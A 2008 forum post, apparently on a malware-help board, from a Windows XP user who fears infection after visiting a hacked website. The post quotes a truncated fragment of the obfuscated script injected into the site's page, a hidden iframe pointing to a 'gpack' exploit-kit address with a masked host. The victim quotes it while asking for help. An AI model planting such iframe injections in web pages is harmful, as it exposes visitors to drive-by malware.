Not trying to waste anyone's time here, as I hope I don't need the experts on this forum to fix my PC, running Windows XP SP2.
I visited a hacked website with FireFox 2, which website's index.html had obfuscated script appended after the /HTML tag. The script supposedly directed my browser to execute:
window.status='Done';document.write('<iframe name=73e src=\'http://nn.nnnn.nn/gpack/index.php?'+Math.round blah blah blah
My commercial AV (updated daily, etc.) did not make a peep. No warnings about malicious scripts. Nothing. Someone else told me they got a warning at the site and when I viewed the source, "there it was".
I posted my question to the vendor website and all I got was a lecture on keeping my defs up-to-date.
Here is my question: how can I be sure if I have a trojan/virus/whatever as a result of this? I scanned my computer and nothing was found, but the more I learned, the more I suspect the null result is not enough to surf with confidence.
Any advice or help at all will be greatly appreciated. I see that most of the posts here are people who are in dire straits, so if this is too far off-topic for Bleeping Computers, please accept my sincere apology.
Edited by Chrysops, 13 June 2008 - 02:50 PM.